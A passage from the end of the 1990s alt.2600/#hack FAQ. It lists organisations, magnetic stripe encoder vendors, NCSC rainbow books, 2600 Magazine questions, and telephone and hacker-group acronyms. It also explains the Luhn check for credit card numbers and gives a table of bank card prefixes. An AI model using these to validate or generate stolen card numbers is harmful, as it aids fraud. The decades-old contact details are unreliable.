on people's right to use, copy, modify, and redistribute computer
programs. We promote the development and use of free software in all
areas using computers. Specifically, we are putting together a
complete, integrated software system named "GNU" ("GNU's Not Unix",
pronounced "guh-new") that will be upwardly compatible with Unix.
Most parts of this system are already being used and distributed.
The word "free" in our name refers to freedom, not price. You may or
may not pay money to get GNU software, but regardless you have two
specific freedoms once you get it: first, the freedom to copy a
program and give it away to your friends and co-workers; and second,
the freedom to chnage a program as you wish, by having full access to
source code. You can study the source and learn how such programs are
written. You may then be able to port it, improve it, and share your
changes with others. If you redistribute GNU software you may charge
a distribution fee or give it away, so long as you include the source
code and the GPL (GNU General Public License).
Free Software Foundation, Inc. Telephone: +1-617-876-3296
673 Massachusetts Avenue Fax: +1-617-492-9057
Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD)
Electronic mail: gnu@prep.ai.mit.edu 0066-3382-0158 (IDC)
GNU is to be a complete integrated computational environment:
everything you need to work with a computer, either as a programmer or
as a person in an office or home. The core is an operating system,
which consists of a central program called a kernel that runs the
other programs on the computer, and a large number of ancillary
programs for handling files, etc. The Free Software Foundation is
developing an advanced kernel called the Hurd.
A complete system has tools for programmers, such as compilers and
debuggers. It also has editors, sketchpads, calendars, calculators,
spreadsheets, databases, electronic mail readers, and Internet
navigators. The FSF already distributes most of the programs used in
an operating system, all the tools regularly used by programmers, and
much more.
The League for Programming Freedom (LPF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The League for Programming Freedom is an organization of people who
oppose the attempt to monopolize common user interfaces through "look
and feel" copyright lawsuits. Some of us are programmers, who worry
that such monopolies will obstruct our work. Some of us are users,
who want new computer systems to be compatible with the interfaces we
know. Some are founders of hardware or software companies, such as
Richard P. Gabriel. Some of us are professors or researchers,
including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
Boyer and Patrick Winston.
"Look and feel" lawsuits aim to create a new class of government-
enforced monopolies broader in scope than ever before. Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.
We in the League hope to prevent these problems by preventing
user-interface copyright. The League is NOT opposed to copyright law
as it was understood until 1986 -- copyright on particular programs.
Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible
with existing programs and practices.
Annual dues for individual members are $42 for employed professionals,
$10.50 for students, and $21 for others. We appreciate activists, but
members who cannot contribute their time are also welcome.
To contact the League, phone (617) 243-4091, send Internet mail to the
address league@prep.ai.mit.edu, or write to:
League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA
SotMesc
~~~~~~~
Founded in 1989, SotMesc is dedicated to preserving the integrity and
cohesion of the computing society. By promoting computer education,
liberties and efficiency, we believe we can secure freedoms for all
computer users while retaining privacy.
SotMesc maintains the CSP Internet mailing list, the SotMesc
Scholarship Fund, and the SotMesc Newsletter.
The SotMESC is financed partly by membership fees, and donations, but
mostly by selling hacking, cracking, phreaking, electronics, internet,
and virus information and programs on disk and bound paper media.
SotMesc memberships are $20 to students and $40 to regular members.
SotMESC
P.O. Box 573
Long Beach, MS 39560
Computer Emergency Response Team (CERT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CERT is the Computer Emergency Response Team that was formed by the
Defense Advanced Research Projects Agency (DARPA) in November 1988 in
response to the needs exhibited during the Internet worm incident.
The CERT charter is to work with the Internet community to facilitate
its response to computer security events involving Internet hosts, to
take proactive steps to raise the community's awareness of computer
security issues, and to conduct research targeted at improving the
security of existing systems.
CERT products and services include 24-hour technical assistance for
responding to computer security incidents, product vulnerability
assistance, technical documents, and seminars. In addition, the team
maintains a number of mailing lists (including one for CERT
advisories) and provides an anonymous FTP server: cert.org
(192.88.209.5), where security-related documents, past CERT
advisories, and tools are archived.
CERT contact information:
U.S. mail address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
U.S.A.
Internet E-mail address
cert@cert.org
Telephone number
(412)268-7090 (24-hour hotline)
CERT Coordination Center personnel answer
7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
emergencies during other hours.
FAX number
(412)268-6989
15. Where can I purchase a magnetic stripe encoder/decoder?
CPU Advance
PO Box 2434
Harwood Station
Littleton, MA 01460
(508)624-4819 (Fax)
Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL 60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)
Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)
Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)
Alltronics
2300 Zanker Road
San Jose CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067
Atalla Corp
San Jose, CA
(408) 435-8850
16. What are the rainbow books and how can I get them?
Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria
Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline
Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific
Environments
Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements. Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.
Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems
Bright Blue Book
NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors
Neon Orange Book
NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted
Systems
Teal Green Book
NCSC-TG-004
Glossary of Computer Security Terms
Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria
Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems
Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems
Dark Lavender Book
NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems
Venice Blue Book
NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria
Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems
Dark Red Book
NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation
Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document
Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems
Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management
Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals
Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted
Systems
Light Blue Book
NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems
Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire
Gray Book
NCSC-TG-020A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the Unix System
Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria
Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems
Bright Orange Book
NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems
Purple Book
NCSC-TG-024 (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements
Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement
Initiators
Purple Book
NCSC-TG-024 (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial
+Purple Book
+NCSC-TG-024 (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors
Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information
Systems
Hot Peach Book
NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems
Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems
Violet Book
NCSC-TG-028
Assessing Controlled Access Protection
Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation
Light Pink Book
NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems
C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment
*C Technical Report 79-91
*Integrity in Automated Information Systems
*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion
NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline
--
You can get your own free copy of any or all of the books by writing
or calling:
INFOSEC Awareness Division
ATTN: X711/IAOC
Fort George G. Meade, MD 20755-6000
Barbara Keller
(410) 766-8729
If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).
[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not]
[ be available]
Section D: 2600
~~~~~~~~~~~~~~~
01. What is alt.2600?
Alt.2600 is a Usenet newsgroup for discussion of material relating to
2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600
game machine. Len@netsys.com created the group on Emmanuel
Goldstein's recommendation. Emmanuel is the editor/publisher of 2600
Magazine. Following the barrage of postings about the Atari machine to
alt.2600, an alt.atari.2600 was created to divert all of the atari
traffic from alt.2600. Atari 2600 people are advised to hie over to
rec.games.video.classic.
02. What does "2600" mean?
2600Hz was a tone that was used by early phone phreaks (or
phreakers) in the 80's, and some currently. If the tone was sent down the
line at the proper time, one could get away with all sorts of fun stuff.
A note from Emmanuel Goldstein:
"The Atari 2600 has NOTHING to do with blue boxes or telephones
or the 2600 hertz tone. The 2600 hertz tone was simply the first
step towards exploring the network. If you were successful at
getting a toll call to drop, then billing would stop at that
point but there would be billing for the number already dialed
up until the point of seizure. 800 numbers and long distance
information were both free in the past and records of who called
what were either non-existent or very obscure with regards to
these numbers. This, naturally, made them more popular than
numbers that showed up on a bill, even if it was only for
a minute. Today, many 800 numbers go overseas, which provides
a quick and free way into another country's phone system
which may be more open for exploration."
03. Are there on-line versions of 2600 available?
No.
04. I can't find 2600 at any bookstores. What can I do?
Subscribe. Or, let 2600 know via the subscription address that you
think 2600 should be in the bookstore. Be sure to include the
bookstores name and address.
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
A note from Emmanuel Goldstein:
We've been selling 2600 at the same newsstand price ($4) since 1988
and we hope to keep it at that price for as long as we can get away
with it. At the same time, $21 is about the right price to cover
subscriber costs, including postage and record keeping, etc. People
who subscribe don't have to worry about finding an issue someplace,
they tend to get issues several weeks before the newsstands get
them, and they can take out free ads in the 2600 Marketplace.
This is not uncommon in the publishing industry. The NY Times, for
example, costs $156.50 at the newsstands, and $234.75 delivered to your
door.
Section E: Miscellaneous
~~~~~~~~~~~~~~~~~~~~~~~~
01. What does XXX stand for?
TLA Three Letter Acronym
ACL Access Control List
PIN Personal Identification Number
TCB Trusted Computing Base
ALRU Automatic Line Record Update
AN Associated Number
ARSB Automated Repair Service Bureau
ATH Abbreviated Trouble History
BOC Bell Operating Company
BOR Basic Output Report
BOSS Business Office Servicing System
CA Cable
COE Central Office Equipment
COSMOS Computer System for Main Frame Operations
CMC Construction Maintenance Center
CNID Calling Number IDentification
CO Central Office
COCOT Customer Owned Coin Operated Telephone
CRSAB Centralized Repair Service Answering Bureau
DDD Direct Distance Dialing
ECC Enter Cable Change
LD Long Distance
LMOS Loop Maintenance Operations System
MLT Mechanized Loop Testing
NPA Numbering Plan Area
POTS Plain Old Telephone Service
RBOC Regional Bell Operating Company
RSB Repair Service Bureau
SS Special Service
TAS Telephone Answering Service
TH Trouble History
TREAT Trouble Report Evaluation and Analysis Tool
LOD Legion of Doom
HFC Hell Fire Club
TNO The New Order
ACiD Ansi Creators in Demand
CCi Cybercrime International
FLT Fairlight
iCE Insane Creators Enterprise
iNC International Network of Crackers
NTA The Nocturnal Trading Alliance
PDX Paradox
PE Public Enemy
PSY Psychose
QTX Quartex
RZR Razor (1911)
S!P Supr!se Productions
TDT The Dream Team
THG The Humble Guys
THP The Hill People
TRSI Tristar Red Sector Inc.
UUDW Union of United Death Workers
02. How do I determine if I have a valid credit card number?
Credit cards use the Luhn Check Digit Algorithm. The main purpose of
this algorithm is to catch data entry errors, but it does double duty
here as a weak security tool.
For a card with an even number of digits, double every odd numbered
digit and subtract 9 if the product is greater than 9. Add up all the
even digits as well as the doubled-odd digits, and the result must be
a multiple of 10 or it's not a valid card. If the card has an odd
number of digits, perform the same addition doubling the even numbered
digits instead.
03. What bank issued this credit card?
1033 Manufacturers Hanover Trust
1035 Citibank
1263 Chemical Bank
1665 Chase Manhattan
4024 Bank of America
4128 Citicorp
4209 New Era Bank
4302 HHBC
4310 Imperial Savings
4313 MBNA
4317 California Federal
5282 Wells Fargo
5424 Citibank
5410 Wells Fargo
5432 Bank of New York
6017 MBNA
04. What are the ethics of hacking?
An excerpt from: Hackers: Heroes of the Computer Revolution
by Steven Levy
Access to computers -- and anything which might teach you
something about the way the world works -- should be unlimited
and total. Always yield to the Hands-On imperative.
All information should be free.
Mistrust Authority. Promote Decentralization.
Hackers should be judged by their hacking, not bogus criteria
such as degrees, age, race, or position.
You can create art and beauty on a computer.
Computers can change your life for the better.
04. Where can I get a copy of the alt.2600/#hack FAQ?
Get it on FTP at:
rahul.net /pub/lps
rtfm.mit.edu /pub/usenet-by-group/alt.2600
ftp.clark.net /pub/jcase
Get it on the World Wide Web at:
http://dfw.net/~aleph1
http://www.engin.umich.edu/~jgotts/underground/hack-faq.html
http://www.phantom.com/~king
Get it on my BBS:
Hacker's Haven (303)343-4053
EOT
--
/* Will Spencer / Voyager : The advancement and diffusion */
/* Member: TNO, The New Order : of knowledge is the only */
/* alt.2600/#hack FAQ Editor : guardian of true liberty. */
/* Writer, poet, hacker, human : -- James Madison */
